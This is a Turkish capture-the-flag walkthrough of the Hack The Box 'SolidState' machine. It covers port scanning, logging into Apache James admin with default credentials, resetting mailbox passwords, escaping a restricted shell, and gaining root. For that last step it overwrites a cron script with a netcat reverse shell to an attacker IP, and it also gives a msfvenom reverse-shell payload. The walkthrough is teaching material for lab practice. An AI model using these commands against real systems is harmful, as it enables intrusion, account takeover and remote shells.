Hack The Box: SolidState Çözümü

0
707
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki SolidState isimli Kolay zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

SolidState sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.51
  • İşletim Sistemi: Linux

 

A) Port Tarama

Port taraması sonucunda 6 adet portun açık olduğu tespit edilmiştir.

nmap -sV -sC -p- 10.10.10.51 –open -oN nmap
cat nmap

 

Açık portlar aşağıdaki gibidir:

  • 22/tcp
  • 25/tcp
  • 80/tcp
  • 110/tcp
  • 119/tcp
  • 4555/tcp

 

Yukarıdaki ekran görüntüsünde de gördüğümüz üzere SSH, SMTP, HTTP, POP3, NNTP ve james-admin servislerinin portlarının açık olduğunu tespit ediyoruz. Şimdi bu servislere ait bilgi toplama işlemlerini gerçekleştireceğiz.

 

B) HTTP Servisinin İncelenmesi

Port tarama işlemini gerçekleştirdikten sonra eğer HTTP portu açık ise genelde ilk olarak bu servisi incelemek ile başlıyoruz.

Bu aşamada ben gobuster ve nikto araçlarını ilk olarak tercih ediyorum. Ancak dirb, dirbuster vb. gibi farklı araçları da kullanabilirsiniz. Gobuster ve nikto araçlarını kullanarak gerçekleştirdiğimiz numaralandırma işlemlerine ait ekran görüntüleri aşağıda verilmiştir.

İlgili HTTP servisi “gobuster” aracı ile tarandığında (crawl edildiğinde) pek bir bilgi elde edilememiştir.

gobuster -u http://10.10.10.51/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -x html,asp,aspx -o gobuster.txt

 

Benzer olarak “nikto” aracı bilgi toplama işlemi gerçekleştirildiğinde de yeni bir bilgi elde edilememiştir.

nikto –host=http://10.10.10.51

 

Ardından açık olan diğer portları incelediğimizde;

  • Varsayılan olarak TCP\22 portunda gelen SSH servisi
  • E-posta sunucusu olarak hizmet veren Apache James (TCP\25 ve TCP\110)
  • TCP\119 portunda hizmet veren nntpd protokolü
  • Varsayılan olarak TCP\4555 portunda hizmet veren Apache James Remote Admin

bulunmaktadır.

 

C) Apache James Server İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\4555 portunda çalışan Apache James Server uygulamasının güncel olmayan “2.3.2” versiyonunun kullanıldığını gözlemliyoruz.

İlgili servis üzerinde yayınlanan zafiyetler aşağıdaki ekran görüntüsünde verilmiştir.

searchsploit james

 

Tespit edilen zafiyetlerden uzaktan komut çalıştırmamıza izin verecek olan zafiyet “Apache James Server 2.3.2 – Remote Command Execution” olarak tespit edilmiştir.

İlgili zafiyeti incelediğimizde içerisinde “Apache James Remote Admin” varsayılan kullanıcı hesap bilgilerinin “root/root” olduğu yazıldığı görülmektedir.

https://www.exploit-db.com/exploits/35513

 

İlgili kullanıcı bilgileri kullanarak telnet aracı ile hedef sunucunun TCP\4555 portuna bağlanabilmekteyiz.

telnet 10.10.10.51 4555

root
root

help
listusers
setpassword john 333

 

Yukarıda verilen ekran görüntüsünü inceleyecek olursak;

  • help” komutu ile ilgili sistem üzerinde hangi komutları kullanabileceğimizi tespit ediyoruz.
  • listusers” komutu ile ilgili sistem üzerinde bulunan kullanıcıları listeliyoruz.
  • En önemli nokta ise “setpassword” komutu ile sistem üzerinde bulunan kullanıcıların parolalarını değiştirebiliyoruz.

Bu aşamada sistem üzerinde bulunan tüm kullanıcıların parolalarını “333” olacak şekilde güncelledim. Ardından ilgili kullanıcıların mail kutularına bağlanarak burada bilgi toplama işlemi gerçekleştireceğiz.

 

D) Apache James Mail (POP3) Servisi İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\110 portunda çalışan Apache James e-posta sunucusunun kullanıldığını gözlemliyoruz.

Parolalar sıfırlandıktan sonra, ilgili kullanıcıların e-posta kutularına bağlanmak için yine “telnet” aracı kullanılabilir. Kullanıcılardan “mindy” kullanıcısının mailleri incelendiğinde 2 tane mail tespit edilmiştir. Öncelikle ilk mail okunmuştur.

telnet 10.10.10.51 110

user mindy
pass 333

list
retr 1
quit

 

Sonra da ikincisi okunmuştur.

retr 2

 

Yukarıdaki son 2 ekran görüntüsünde aşağıdaki işlemler gerçekleştirilmektedir.

  • list” komutu ile kullanıcının e-posta kutusu içerisinde bulunan e-postaları listeliyoruz.
  • retr [IdDeğeri]” komutu ile incelemek istediğimiz e-posta içeriğini görüntülüyoruz.

İlgili işlemler tüm kullanıcılar için gerçekleştirilmiş ancak bu kullanıcılardan biri olan “mindy” kullanıcısının e-postaları üzerinde bir SSH servisi için bir kimlik bilgisi tespit edilmiştir.

 

E) Mindy Kullanıcı Yetkisi İle Kısıtlı Kabuk Erişimi Elde Etme ve Bu Kısıtı Atlatma

Tespit edilen kullanıcı bilgileri ile SSH servisi üzerinden bağlantı gerçekleştirilmiştir.

ssh mindy@10.10.10.51

 

Yukarıdaki ekran görüntüsü incelendiğinde shellimizin kısıtlı olduğunu gözlemliyoruz. Diğer bir deyişle “Restricted Shell” yani “/bin/rbash” kabuğuna sahibiz.

 

F) Elde Edilen Kabuktaki Kısıttan Kurtulma (Restricted Shell Bypass)

Restricted Shell konusunda detaylı bilgiye aşağıdaki link üzerinden ulaşabilirsiniz

https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html

 

Hangi kabuğa sahip olduğunuzu tespit etmek için aşağıdaki komutları kullanabilirsiniz.

env
echo $SHELL
export -p

 

Bu aşamada bu kısıtlı kabuğu atlatabilmemiz gerekiyor. Bunun için internette bir araştırma yaparak SSH servisinin oturum açma esnasında komut çalıştırmamıza izin verdiği özelliğinden yararlanarak aşağıda verilen komutu kullanıyoruz.

ssh mindy@10.10.10.51 “export TERM=xterm; python -c ‘import pty; pty.spawn(\”/bin/sh\”)'”

 

Yukarıdaki ekran görüntüsünü incelediğimizde ilgili komut ile SSH servisi üzerinden gerçekleştirdiğimiz bağlantıda kısıtlı kabuğu atlatarak daha önce komut satırımızda çalıştıramadığımız komutları çalıştırmış ve ilk bayrağımız olan user.txt dosyamızı tespit etmiş oluyoruz.

 

Not: Kısıtlı kabul erişimini atlatmak için aşağıdaki python (eğer bu komuta izin vermişse) komutu da kullanılabilirdi.

python -c ‘import pty; pty.spawn(“bash”)’

 

Not: Exploit-DB’deki 35513.py betiği kullanılarak da ters bağlantı elde edilebilirdi. Bu amaçla betikteki “root” yetki kontrolü ve “/root/proof.txt” dosyasını okuma işlemi yerine kendi oluşturduğumuz aşağıdaki gibi bir payload’u ekleyebiliriz. Detaylar için kaynaklardaki Deceiveyour Team yazısı incelenebilir.

msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.16 LPORT=4444 SHELL=/bin/bash -a cmd –platform Unix -e generic/none

 

 

 

 

G) Hak Yükseltme

“mindy” hesabı ile erişim elde ettikten sonra, yetki yükseltme işlemi için hedef sisteme “linuxprivchecker.py” betiğini yükleyeceğiz.

https://www.securitysift.com/download/linuxprivchecker.py

 

Bunun için betiği internetten indirdikten sonra, kendi sistemimiz üzerinde (10.10.14.62) python SimpleHTTPServer modülü ile HTTP servisini ayağa kaldırıyoruz.

python -m SimpleHTTPServer 9090

 

Hedef (kurban) sistem üzerinde ise wget ile dosyayı indiriyoruz.

wget http://10.10.14.62:9090/linuxprivchecker.py

 

Ardından ilgili scripti çalıştırıyor ve çıktısını bulunduğumuz dizine “result.txt” dosyasına yazdırıyoruz.

python linuxprivchecker.py > result.txt

 

“result.txt” dosyasının içeriğini incelediğimizde gözümüze takılan sahibi root olan; herkes için yazılabilir bir dosya olan ve “/opt” dizini altında bulunan “tmp.py” scripti oluyor.

 

“/opt/tmp.py” dosyasının içeriği aşağıdaki gibidir.

 

Dosyanın içeriğini incelediğimizde “/tmp” dizi içerisindeki herşey silen bir script olduğunu gözlemliyoruz. İlgili dosyanın sahibinin “root” olduğunu belirtmiştik ancak bizim yetki yükseltebilmemiz için bunun root tarafından çağırılan bir zamanlanmış görev olması işimize yarayacaktır. Zamanlanmış görevleri görüntülemek istediğimizde istediğimiz veriyi elde edemiyoruz. Bunun tespiti için aşağıdaki komutları kullanarak /tmp dizini altında bir dosya oluşturup bekliyoruz;

cd /tmp
touch crontabtest.txt

 

Ardından bir süre sonra /tmp dizinin altını listelediğimizde oluşturduğumuz dosyanın bulunmadığını gözlemliyoruz. Bu durumda “tmp.py” dosyaının içeriğini reverse shell alabileceğimiz bir script ile güncellersek sisteme root haklarında erişim sağlayabiliriz. Bunun için aşağıda verilen komutu ilgili script dosyası içerisine yazdırıyoruz;

echo ‘import os; os.system(“/bin/nc 10.10.14.62 9999 -e /bin/bash”)’ > /opt/tmp.py

 

Ardından kendi sistemimiz üzerinde dinleyicimizi başlatıyoruz.

nc -lvp 9999

 

Dinleyicimizi başlattıktan bir süre sonra ters bağlantı elde edilmektedir. Erişimimizi kontrol ettiğimizde “root” haklarına sahip olduğumuzu gözlemliyoruz. Son olarak ise “root.txt” dosyasını ele geçiriyoruz.

 

“root” haklarına eriştikten sonra komut satırı üzerinde aşağıdaki komutu vererek zamanlanmış görevleri listeleyebiliriz;

crontab -l

 

İlgili komuta dönen yanıt aşağıdaki gibidir;

*/3 * * * * python /opt/tmp.py

 

Dönen yanıtı incelediğimizde “tmp.py” scriptinin 3 dk’ da bir çalıştırılan bir zamanlanmış görev olduğunu tespit ediyoruz.

 

Kaynaklar:

https://pentestworld.blogspot.com/2019/10/hack-box-solidstate.html
https://resources.infosecinstitute.com/hack-the-box-htb-machines-walkthrough-series-solidstate/#gref

Hack the Box Challenge: Solid State Walkthrough


https://deceiveyour.team/2018/01/27/hack-the-box-solid-state-walkthrough/

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.